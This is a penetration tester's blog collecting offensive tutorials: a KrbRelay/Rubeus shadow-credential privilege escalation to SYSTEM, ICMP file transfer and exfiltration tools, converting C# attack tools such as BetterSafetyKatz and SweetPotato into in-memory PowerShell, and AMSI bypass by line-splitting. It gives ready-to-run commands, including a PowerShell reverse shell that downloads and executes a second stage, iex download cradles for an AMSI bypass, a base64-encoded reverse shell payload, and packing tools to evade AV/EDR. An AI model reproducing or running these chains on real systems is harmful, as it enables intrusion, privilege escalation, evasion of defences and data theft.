Icyguider’s Blog

No-Fix Local Privilege Escalation Using KrbRelay With Shadow Credentials

2022-05-19T00:00:00+00:00

Background (Inspiration, Overview, & WHY???)

Because who doesn’t want a SYSTEM shell? Thanks to Cube0x0, pentesters have been blessed with a tool called KrbRelay that enables the exploitation of a No-Fix LPE via relaying Kerberos authentication. See below for the pre-requisites necessary for this guide:

Domain Controller without LDAP Signing enforced (default)
Domain Controller with its own server authentication certificate (for PKINIT authentication)
Ability to write the msDs-KeyCredentialLink attribute of the target computer account (default)

In addition to KrbRelay, this guide will use Rubeus to request a ticket using the shadow credential and to perform a S4U2self request that will impersonate a DA user on the local machine. After the impersonated ticket is imported, we will use the SCMUACBypass tool by Tyranid to spawn a shell as SYSTEM. This process is pretty much identical to what’s used in the ShadowCred mode of KrbRelayUp by dec0ne, so definitely check that out for more information.

Why not just use KrbRelayUp?

GOOD QUESTION! KrbRelayUp is an amazing all-in-one tool. However, I noticed that certain aspects of it don’t work as expected after packing it with my reflective loaders to evade AV/EDR. Specifically, I have been unable to get the SCMUACBypass implementation of KrbRelayUp to spawn a SYSTEM shell for me after being packed.

This guide will explain how to separate the shadow credential method that KrbRelayUp uses into multiple different steps, giving you a bit more control regarding how each piece executes. For example, we can reflectively load some pieces, and execute others normally. Thanks to an0n_r0’s guide regarding exploiting this LPE via RBCD which inspired me to make this guide for the shadow credential process.

Part 0: Preparing our Tools to Evade AV/EDR

As stated earlier, this guide will focus on how to perform the LPE using shadow credentials in a REAL WORLD environment with AV/EDR enabled. Because of this, most of the tools we use will need to be packed with a reflective loader to prevent them from being blocked upon execution. Luckily, my public Nimcrypt2 PE packer worked very well when I was recently trying to do this against a popular EDR, so that’s what I’ll be using for this guide.

Below is a list of the tools required for this process that I will be packing to prevent them from being blocked:

These tools were packed using Nimcrypt2 with the following arguments:

./nimcrypt -f KrbRelay.exe -t csharp -u -e -o NimCKrbR.exe

The final tool we will use, SCMUACBypass, will NOT require packing, as it doesn’t seem to get blocked from my testing with different AV & EDR solutions. My packers also seem to prevent it from working properly, so I would need to manually modify it to prevent detection if required in the future.

Now that we have all the tools we’ll need ready to go, we can transfer them to our target machine and finally begin the LPE process!

Part 1: Adding a Shadow Credential Using KrbRelay

The first step in this process is to add a shadow credential to our local machine using KrbRelay. This is pretty straight forward as it’s documented well in the readme for KrbRelay. We will use the first example listed in the KrbRelay readme, substituting in our Domain Controller with LDAP signing disabled for the SPN. After we run this command, we should have a certificate for our shadow credential that can be used to request a Kerberos ticket for the machine account via PKINIT.

.\NimCKrbR.exe -spn ldap/virtualdc.testlab.local -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred

See Screenshot

Part 2: Requesting a Machine Account Ticket via PKINIT

Once we have a certificate for our shadow credential, we can use it with Rubeus to request a Kerberos ticket for the machine account via PKINIT. The example command below will use AES256 as the encryption type in cases where RC4 isn’t supported and specifies the /nowrap flag so we can more easily copy the resulting ticket.

.\NimCRube.exe asktgt /user:RICHARD-PC$ /certificate:CERTIFICATE /password:PASSWORD /enctype:AES256 /nowrap

See Screenshot

Part 3: Perform S4U2self for Service Ticket Impersonating a DA

The next part of the process is to use the ticket we obtained in the previous step to perform a S4U2self request to acquire a service ticket for the local machine impersonating a Domain Admin. Technically, any domain user that has local admin rights to the local machine can also be used for the impersonation, but I find just using a DA makes things a bit easier. We will be doing this using Rubeus while making sure to supply the /ptt flag so that the resulting service ticket is automatically imported into the current session.

.\NimCRube.exe s4u /self /user:RICHARD-PC$ /impersonateuser:randy /altservice:host/RICHARD-PC /ptt /ticket:TICKET

See Screenshot

Part 4: Spawn a SYSTEM Shell via SCMUACBypass

The final step in this process is to use the SCMUACBypass tool to spawn a shell as SYSTEM. This tool will use the imported ticket to authenticate to the local system and create a new service, so it’s a good idea to check to make sure everything looks correct using the klist command before executing it.

klist
.\SCMUACBP.exe

BOOM SYSTEM SH3LL ! ! !

See Screenshot

Part 5: Cleaning Up

This step is optional; however it is highly recommended, especially if you plan on repeating this process on the same machine later. The following command can be executed via the SYSTEM shell to clean up the service created by the SCMUACBypass tool:

sc delete UacBypassedService

Our shadow credential can be removed from the local machine by using the Whisker tool. We can first run the following command to find its DeviceID:

.\NimCWhisker.exe list /target:RICHARD-PC$

The shadow credential can then be removed like so:

.\NimCWhisker.exe remove /deviceID:DEVICE_ID /target:RICHARD-PC$

See Screenshot

Part 6: The End!

This concludes the blog post! Please feel free to reach out to me if you have any questions or feedback. Also, I’ve made a quick video demonstrating this process on a fully up-to-date Windows 10 PC with Defender enabled, so definitely check that out if you’re interested!: https://www.youtube.com/watch?v=TDZwx9LERFw

Big thanks to the people below for their amazing work on this topic!

Cube0x0 for KrbRelay
Harmj0y for Rubeus
Tyranid (James Forshaw) for SCMUACBypass
Dec0ne for KrbRelayUp
Elad Shamir for Whisker
an0n_r0 for KrbRelay with RBCD Privilege Escalation HOWTO

Transferring Files over ICMP in Restricted Network Environments

2022-02-01T00:00:00+00:00

Background (Inspiration & WHY???)

Being able to transfer files to and from a system can sometimes make or break a penetration test. If we are unable to download the tools we need or exfiltrate useful data, the tests we can run are very limited. This happens most frequently when we are provided with a virtual desktop via something like Citrix, VMWare Horizon Client, or AWS Workspaces. These workstations are often locked down as much as possible to prevent us from being able to do much, particularly move data on and off the system.

Most recently, my team had a penetration test a couple of months ago where this was the case. We were given access to a virtual desktop via Citrix that had a very locked down network, allowing no outbound access via conventional protocols like HTTP, FTP, SSH, and even DNS. The only protocol that was allowed outbound access was ICMP, in which I discovered that there were few solutions online that allowed for transferring files over it. Many of the tools/solutions that did exist were not compatible with Windows, and the ones that were had many significant drawbacks, such as requiring compiled binaries to be dropped to the disk (how?) or only being able to transfer files off the system and not to it.

This is the scenario that led me to create ICMP-TransferTools, a collection of scripts designed to move files to and from Windows hosts in restricted network environments. This is accomplished using a total of 4 different files, consisting of a python server and PowerShell client for each transfer direction (Download & Upload). This guide will cover how to use these scripts so that we will hopefully never get stuck again during penetration tests where the network is locked down and ICMP is available.

Part 1: How does it work?

As stated above, ICMP-TransferTools contains two scripts for each transfer direction: one script that will send the desired file and another that will receive it. The script that is responsible for sending the desired file will first split the file into blocks of 1000 bytes each, and then send those blocks to the receiving script one at a time over ICMP. The receiving script will take the blocks as they come and save them to an output file. See below for how this process works in action as seen by Wireshark.

Part 2: Transferring Files to a Windows Host via ICMP

ICMP-TransferTools includes two scripts that enable the transfer of a remote file onto a Windows host in a restricted network environment. The first is ICMP-SendFile.py, which is the script that hosts the file and sends it to the client. This script is designed to run on a public facing Linux server as root. The other is Invoke-IcmpDownload.ps1, which is the client that will reach out to the Linux server and download the file to the Windows host over ICMP.

Now you may be wondering, “How do we get the client script onto the Windows host if we are unable to transfer files without it?”. This is a great question and something I had to consider when writing these scripts. The answer is simple, we will just type it out in notepad or PowerShell ISE and then save it to the disk. This isn’t ideal, however there aren’t really any other options. I have optimized the script to be as small as possible (35 lines of code), so it really shouldn’t take more than 10 minutes to type it out. This will be the only script we have to type out like this, as we can use it to download anything that we’d need going forward, including the other PowerShell client used to exfiltrate files off the system.

Once we have our PowerShell script on the Windows host, we need to start the Python script on our Linux server to stage the file we want to download. See below for the script’s usage:

usage: ICMP-SendFile.py [-h] [-v] [-b 1000] source destination file

ICYGUIDER'S ICMP FILE DOWNLOAD SERVER

positional arguments:
  source                Public IP address of current host
  destination           Public IP address of destination host
  file                  File to transfer over ICMP

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Verbosely print progress
  -b 1000, --block-size 1000
                        Size of each block (Default: 1000)

As you might notice, one of the required arguments is the public IP address of the destination host. Given that we will be using this script in a restricted network environment, we can’t simply go to a website to retrieve our public facing IP as we would normally. Since we only have outbound access via ICMP, we can send some pings to our Linux server in order to view the public IP of our Windows host. This can be done by using tcpdump like so:

Run on Linux server:

tcpdump icmp

Then ping the Linux server from the Windows client:

ping -n 1 ServerIPAddress

Now that we have our Windows host’s public IP address, all we need to do is pick what file we want to send over to it. For this demo I’ll be using Seatbelt, as it has many useful features for enumerating a Windows host. We can’t simply use it as is however, as a real-world environment would definitely have some sort of Antivirus or EDR in place that would block and delete our file as soon as it is downloaded. To mitigate this while staying within the realm of open-source tooling, I will be packing Seatbelt using Cas van Cooten’s newly released Nim packer NimPackt. Big shout out to him for this awesome project!

python3 NimPackt.py -e execute-assembly -i bins/Seatbelt.exe -o Seatbelt -S -v --nosyscalls

We can then upload the packed Seatbelt file to our Linux server and place it in the same directory where our ICMP-TransferTool scripts live. We are now ready to run the ICMP-SendFile.py script, giving it our server’s IP, the Windows host’s public IP, and our packed exe file:

./ICMP-SendFile.py ServerIPAddress ClientIPAddress Seatbelt.exe

As seen in the screenshot above, the python file will give us the exact command we need to run once we’ve imported our PowerShell client script. The usage for the PowerShell client is as follows:

Invoke-IcmpDownload PublicIPAddressOfServer FileToDownload

Once we run the PowerShell client, we can see that it will connect to our python server and begin the download process. After a few seconds/minutes (depending on the file size), we will see the script complete, and our file will have been successfully downloaded to the Windows host over ICMP.

*NOTE: The ICMP-SendFile.py script has an optional argument (-b) that allows the user to specify how much data is sent in each individual ICMP request. It is advised to leave this at its default value as it really shouldn’t need to be changed in most situations. If for some reason you are noticing that your client has trouble downloading files, try specifying a lower number to this parameter as your client may be limiting the size of ICMP packet that you can send. The default size of ping data is 32 bytes, so it may be best to start with that if you are having issues.

Part 3: Transferring Files from a Windows Host via ICMP

Now that we can download files and run our tools, we might want to exfiltrate the output of our tools or other sensitive data back to our Linux server for further use. This can be accomplished with ICMP-TransferTools’s included ICMP-ReceiveFile.py and Invoke-IcmpUpload.ps1 scripts. Like the previous two scripts we used to download files, the python server needs to be executed first on our Linux server as root to listen for ICMP requests. The PowerShell script can then be loaded on the Windows host and executed to upload the desired file to the Linux server.

Since we already have a way to download files to our Windows host over ICMP, we can simply download our new PowerShell client the same way we did with Seatbelt.

With our PowerShell client that can upload via ICMP now on our Windows host, we will use Seatbelt to generate a report that we will upload to our Linux server for our demo.

.\Seatbelt.exe -group=remote -outputfile="out.txt"

We now have to start the ICMP-ReceiveFile.py script on our Linux sever so that it is ready to accept requests from our client. Its usage can be found below:

usage: ICMP-ReceiveFile.py [-h] src file

ICYGUIDER'S ICMP FILE UPLOAD SERVER

positional arguments:
  src         Public IP Address of client
  file        File to write data to

optional arguments:
  -h, --help  show this help message and exit

You will notice that we again need to provide the public IP address of our Windows host. This is needed to prevent the python script from accepting pings requests coming from hosts other than our client. We will now execute the python script like so:

./ICMP-ReceiveFile.py ClientIPAddress out.txt

With the python script now listening for requests, we can load and execute our PowerShell client on the Windows host. The usage for this script is as follows:

Invoke-IcmpUpload PublicIPAddressOfServer FileToUpload

After running the PowerShell client, we can see that it connects to our python server and begins the upload process. After a few seconds/minutes (depending on the file size), we will see the script complete, and our file will have been successfully uploaded to our Linux server over ICMP.

Part 4: The End!

I hope you all enjoyed this blog post. Please feel free to reach out to me if you have any questions. Also, while I’ve tried to make these scripts as reliable as possible and think I’ve been relatively successful in doing so, you still might occasionally receive some unexpected behavior. Such is life when using ICMP as a data transfer protocol (lol). If you have any ideas of how these scripts can be improved, I’d be more than grateful for any pull requests made to the GitHub project. Thanks so much!

Credits/Greetz:

Bernardo Damele for icmpsh
Cas van Cooten for NimPackt

Converting C# Tools to PowerShell

2022-01-03T00:00:00+00:00

Background (Inspiration & WHY???)

PowerSharpPack by S3cur3Th1sSh1t is a collection of C# binaries embedded in PowerShell scripts that my pentest team often uses during network penetration tests to run useful tools like Rubeus, Certify, and Seatbelt. It is particularly useful because it allows us to run these tools directly in memory without writing to the disk. Combined with running an AMSI bypass beforehand, it has pretty much become a guaranteed way that our team can use the most popular pentest tools without being blocked by AV/EDR.

In this post, we will be looking at how we can make our own “PowerSharpPack” by learning how to convert ANY C# tool into a PowerShell script ourselves. This is useful in cases where we want to modify a specific tool’s default behavior, use a tool that hasn’t already been converted for us, or use a custom tool that we develop ourselves. This tutorial by no means covers every way to accomplish this and is just my personal process. Feel free to jump around to the parts that interest you the most!

Part 1: Simple Hello World Demo

To begin, we are going to start with a simple hello world program to learn exactly how the conversion process works. Below is the is the applicable code we’re starting with:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace HelloPentestTeam
{
    class Program
    {
        static void Main()
        {
            Console.WriteLine("Hello Pentest Team!");
        }
    }
}

In this program, along with all others that we will look at, there are two steps that we need to confirm to ensure that it can be converted for use in PowerShell. The first step is to find the Main method of the program, which class it belongs to, and what namespace that class falls under. In this example it’s very simple as there’s only 1 file, and we can clearly see that the Main method falls under the “Program” class of the “HelloPentestTeam” namespace.

The second step is to ensure that the Main method and the class it belongs to are using the “public” access modifier. This is so that the PowerShell process we try to load the file with can access the class and Main method in order to execute it. If the class and Main method are set to anything else, it will result in an error later.

Now our C# program is ready to be converted into a PowerShell script. Compile the binary and locate where it’s saved on your system. Then open PowerShell ISE or a terminal and run the following code, replacing the value of the $FilePath variable with the location of your compiled binary.

$FilePath = "INSERT_FULL_PATH_TO_COMPILED_FILE_HERE"
$File = [System.IO.File]::ReadAllBytes($FilePath);
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String | Out-File -FilePath "Invoke-HelloPentestTeam.ps1"

After running the code, there should be a file called “Invoke-HelloPentestTeam.ps1” located in the current directory containing a base64 encoded blob of the compiled file. We will structure the rest of the PowerShell script around this by first assigning the blob to a variable, and then putting it inside a function.

function Invoke-HelloPentestTeam.ps1
{
	$blob = "BASE64 ENCODED BINARY"
}

Next, we will add a line of code that will convert the encoded base64 blob back into raw byte data, and then load it into memory.

$load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));

Finally, we will add a line to execute the loaded binary. This is where the namespace and class name of our program’s Main method comes into play. Below is the format in which a loaded C# program can be executed using PowerShell:

[Namespace.Classname]::Main()

So for our sample Hello World program, it would be:

[HelloPentestTeam.Program]::Main()

If we add this line, load our final script in memory, and invoke our newly created function, you will see the sample C# program execute with no issues.

IMPORTANT UPDATE NOTE: If the program you are tyring to convert has any Environment.Exit() statements, they will need to be removed or patched to prevent the whole powershell process from being killed. Thanks to S3cur3Th1sSh1t for bringing this to my attention!

Part 2: Real World Example (BetterSafetyKatz)

BetterSafetyKatz is a C# tool that will download the latest pre-compiled release of Mimikatz directly from the gentilkiwi GitHub repo, perform runtime patching on detected signatures, and use DInvoke to execute it in memory. S3cur3Th1sSh1t does include this in his PowerSharpPack repo, however we can make some simple modifications to improve it under certain circumstances.

These include:

Allowing non-admin users to execute it (For use with extra features like Petit Potam)
Downloading from a custom source that’s less likely to be blocked

The advantages of these modifications make BetterSafetyKatz a good real-world example of how we might want to modify an existing C# tool and then convert it into a PowerShell script for use in memory.

To start, download the project from its GitHub page and open it in visual studio. We are then going to set the program’s Main method and class to “public” like we did with the sample hello world program. We are also going to locate the code that checks if the current user executing the program is an Administrator (highlighted below).

Because we want non-admin users to be able to run the program, we will be making a simple modification to the method that checks the current privileges of the process. As stated by the comment in the code, it will return true if the user is an administrator. Therefore, we will comment out the return statement that’s already there and create a new one right below it so that the method will always return true.

At this point our first modification is complete, and we can focus on our second modification which will change the source of the Mimikatz download to something that’s much less likely to be blocked compared to GitHub. If we scroll down a bit, we will find the code that is responsible for the downloading of Mimikatz and discover that the “latestPath” variable is what ultimately contains the direct URL for the Mimikatz trunk file.

We can comment out the block of code that gets the direct URL for the Mimikatz trunk file and replace it with a line of code that assigns the “latestPath” variable to an arbitrary URL of our own. To help bypass content blockers, we will be using a Digital Ocean VPS setup with CloudFront so that we have a clean URL that is much less likely to be blocked. This has worked for my team in the past to bypass content blockers like Zscaler.

Now that we’ve made our two desired modifications to BetterSafetyKatz, we can compile the program and convert it into a PowerShell script. This is done exactly the same as we did before by first encoding the file to a base64 blob and assigning the blob to a variable in a function. We then add a line to decode the blob and load the compiled file into memory. Finally, we add a line that will execute the loaded file by calling the program’s Main method with the correct class and namespace.

The final PowerShell script will look like so:

Because this script contains a tool that’s flagged by AV, it will also get flagged by AMSI when trying to run it in memory. This can be solved by running an AMSI bypass before execution, which will allow it to execute with no issue.

Below is a screenshot of us testing the newly created script, demonstrating how it can now be run as a non-admin user and how it reaches out to our custom host to bypass content blockers.

Part 3: Converting C# Tools with Parameters (SweetPotato)

SweetPotato is a C# tool that allows for the escalation of privileges from a local service account to SYSTEM via multiple different methods. I have used it in the past during penetration tests to escalate privileges after obtaining access to the default IIS user of a windows server after uploading a ASPX web shell.

SweetPotato is not currently listed in the official PowerSharpPack repo, and it does require arguments for it to be used correctly. In this part of the tutorial, we will use it as an example to show how to convert a C# tool to PowerShell which requires arguments to be passed to it.

First, download the project from GitHub, make sure it’s Main method and class are set to “public”, and compile it. Once compiled, convert it into a basic PowerShell script as demonstrated in the last two parts of this tutorial. You should end up with something that looks like this:

To allow our file to accept arguments, we must first add the code below before the base64 encoded blob. This code saves the arguments that are passed into the script in the “$Commands” variable

[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $false)]
[ValidateNotNullorEmpty()]
[String]
$Commands
)

Once that has been completed, we must pass the “$Commands” variable into the loaded program’s Main method and ensure that the arguments are defined as being separated by a space. We also have to make sure that we have a way for our program to determine if a parameter has spaces in it so that we can use more complex arguments.

This was accomplished by using “+++” in place of spaces when supplying the program an argument that contains spaces, so that our program keeps it all as one parameter. This is a bit hacky and probably a bit confusing, but hopefully the demonstration and code comments can help you understand. See the below code that was added after the line which loads our program into memory.

DISCLAIMER: There is probably a MUCH better way to do this. Please feel free to implement a better solution.

$Commands2 = $Commands.Split(" ") # Split the supplied parameters which are separated by a space
$newcommands = @() # Create a new array
$newcommands = {$newcommands}.Invoke() # Allow us to add to our new array 
foreach ($Command in $Commands2)  # For each parameter in the array of parameters
{
    if($Command.Contains('+++')) # Check if current parameter contains any space indicators (+++)
    {
        $newcommands.Add($Command.Replace("+++", " ")) # Replace all +++ with spaces for the current parameter and add it to the new array 
    }
    else
    {
        $newcommands.Add($Command) # Add parameter as is to new array if it contains no space indicators (+++)
    }
}
[SweetPotato.Program]::Main($newcommands) # Supply the array of new parameters to our program

After this addition, our code is now complete. It should look something like this:

As stated previously, this exploit is useful in cases where we might upload a webshell on an IIS server and find that we are running as the default IIS user. This will be the use case in which we will be demonstrating our newly created PowerShell script.

Here you can see that I have a Windows Server 2019 VM setup that currently has IIS installed. I have uploaded an ASPX webshell that allows us to enter basic shell commands, and you can see that the server is currently running as the default “iis apppool\defaultapppool” user.

We will first execute a PowerShell reverse shell through the webshell in order to get an interactive shell as the default IIS user. This was done by splitting a public reverse shell into two parts and loading the 2nd part after the first in order to evade AV detection.

powershell -ep Bypass "$client = New-Object System.Net.Sockets.TCPClient('10.0.2.15',443);  $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}; iex (iwr -UseBasicParsing http://10.0.2.15/rev_stage2.ps1)"

Next, we will download and execute an AMSI bypass in memory so that our Invoke-SweetPotato PowerShell script won’t get blocked.

iex (new-object net.webclient).downloadstring("http://10.0.2.15/AmSeeBP.ps1")

Now that AMSI has been disabled in the current process, we can download and import our Invoke-SweetPotato script into memory. Once downloaded, we will invoke our script with the applicable arguments that will allow us to spawn another PowerShell reverse shell, but this time as SYSTEM.

Download and Import into Memory:

iex (new-object net.webclient).downloadstring("http://10.0.2.15/Invoke-SweetPotato.ps1")

Execute our New SweetPotato PowerShell Script with Arguments to Spawn Reverse Shell:

Invoke-SweetPotato "-p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a -ExecutionPolicy+++Bypass+++-EncodedCommand+++JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMAAuADIALgAxADUAJwAsADgAMAA4ADAAKQA7ACAAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwAgAGkAZQB4ACAAKABpAHcAcgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIABoAHQAdABwADoALwAvADEAMAAuADAALgAyAC4AMQA1AC8AcgBlAHYAXwBzAHQAYQBnAGUAMgAuAHAAcwAxACkA"

Note that we utilized the +++ identifier that we setup earlier to tell the program that we wanted those spaces to be ignored when separating the parameters. Also, the base64 encoded command in the above is simply the same PowerShell reverse shell we used earlier, just pointing to a different port.

Part 4: Converting C# Tools THE EASY WAY! (Automation)

While converting C# tools to PowerShell manually provides for a lot of customization and fine tuning, it can sometimes be a bit time consuming. Luckily, there is an automated tool that can do most of the work for us. PowerShellArmoury by Cfalta is a project that focuses on building a single PowerShell file that contains all the scripts/tools that you may want to use during a penetration test. The project contains a PowerShell script called ConvertTo-Powershell.ps1 that is capable of automatically converting C# programs into PowerShell with very minimal effort.

To get started, download and import the script into memory. Running it is then as simple as supplying the -Path, -Namespace, -Class, and -Function parameter. The -Path parameter should be set to the compiled C# binary you wish to convert, and the other 3 parameters should be set to your program’s namespace, class, and Main method respectively. The Main method and its class of course must be set to “public”, similarly to how it was done in all the other previous parts of this tutorial. Below is an example of using this script to automatically generate a PowerShell version of SweetPotato:

iex (iwr https://raw.githubusercontent.com/cfalta/PowerShellArmoury/master/ConvertTo-Powershell.ps1)
ConvertTo-Powershell -Path "C:\Users\chippy\Desktop\HACKING_RESOURCES\SweetPotato.exe" -namespace SweetPotato -class Program -function Main

Note that the automatically generated file may not handle complex parameters as well as our custom version. For example, from my testing, I was not able to get it to correctly parse a multispace argument as seen in the last part of this tutorial. This is of course why we first learned how to do the whole process manually, so that we can update our scripts with whatever works best. 😊

Part 5: The End

I hope you all enjoyed this blog post. I’ll leave below the list of all people and projects who made this tutorial possible. Thanks for reading!

Credits/Greetz:

Bypass AMSI via PowerShell with Zero Effort

2021-07-21T00:00:00+00:00

Background (What is AMSI?)

Over the last decade, powershell has proven to be a very accessible vector for pentesters and hackers alike to run malicious code in memory without writing to disk. This provided some stealth at first when used against many poorly built antivirus solutions, but things eventually changed a bit. Microsoft released a scan interface called AMSI that allows any antivirus installed on the system to monitor and block powershell scripts in memory. Below is an image of how a default Windows 10 installation blocks BloodHound’s powershell ingestor in memory:

How do we bypass it?

With an “AMSI Bypass” of course! Googling this will provide some decent results, and you may even come across amsi.fail, a website by @Flangvik that will automatically generate bypasses for you. These bypasses are designed to disable AMSI in the powershell process they are run in. This allows an attacker to then load and execute their malicious scripts without needing to worry about detection by AMSI. Seems SUPER easy! Let’s see what happens when we try to run one of the AMSI bypasses generated by amsi.fail:

Ah man, that almost worked. A few months ago it actually did work! However, we can see from the screenshot that our AMSI bypass was detected by AMSI itself. This happened because the bypass we got from amsi.fail is relatively old now and Microsoft has already created a signature for it. It seems like we actually might have to do some work ourselves. ;)

As you might have noticed from the screenshot, all of the bypasses from amsi.fail are obfuscated in order defeat AMSI’s signature based detection. IMO, this is the best way to create working AMSI bypasses. However, manual obfuscation can be pretty time consuming, and bypasses can get detected over time as demonstrated previously. Sure, coming up with an automated way of obfuscating bypasses would work too, but we’re trying to do this with ZERO effort!

HELP!!! I DON’T WANT TO WORK!

No worries! There’s an easier way to execute AMSI bypasses without the need for any obfuscation. Let’s try taking the same AMSI Bypass we tried before, but this time we’re going to simply copy and paste it directly into a powershell terminal:

WOAH! That worked! And we were able to download and execute BloodHound’s ingestor from memory right after! The reason for this is simple: AMSI can’t detect our bypass with a signature if we run it line-by-line. Every time powershell is invoked to execute a command/script, AMSI is called to see if it’s is malicious. By running the script line-by-line, we are effectively splitting the bypass into 14 different scripts, none of which AMSI has a signature for.

I have tested this with multiple bypasses and scripts with good success. I’ve found the best AMSI bypass to use with this method (and in general) is the AmsiScanBuffer patch created by rasta-mouse. It can be executed using this method with no need for ANY obfuscation.

So that’s it? It’s really that easy?

Yep. Pretty much. The flaw is simple and so is the concept: split a detected script into multiple blocks that are executed in order to prevent it from being detected. The only limitation perhaps is that it takes an interactive session to be able to copy and paste a powershell script line-by-line. This is fine for many pentesting scenarios, but becomes an issue if we were trying execute commands in a non-interactive setting, such as exploiting a RCE vulnerability in a web application. For cases like that, a new tool was developed:

Bl1ng bl1ng, new tool drop!

Meet PowerChunker, a tool designed to automate the process described in this post for use in non-interactive environments. PowerChunker will take a given powershell script, split it up line-by-line, and create a stager that will download and execute each line in order. This allows the attacker to bypass AMSI using the method outlined in this post, all by invoking one single ps1 file.

I hope you enjoyed reading, and check back for more hacking related content!

Whoami

2021-07-20T00:00:00+00:00

Hello everyone! My name is Matthew David, and I am currently a penetration tester working in the USA. As of late, I’ve been doing a lot of independent research in order to improve my skill set. While I’ve improved greatly, I wouldn’t have been able to do it without the publicly available resources provided by some of the best souls in the industry. This blog serves as a place for me to publish some of my own research in hopes that others in the offensive security community can learn in a similar way that I do.

Want to talk? Contact me here:

Twitter: https://twitter.com/icyguider

Discord: icyguider#2366

Email: 4skidstv@gmail.com

Check out my Youtube Channel!

https://youtube.com/c/4SkidsTV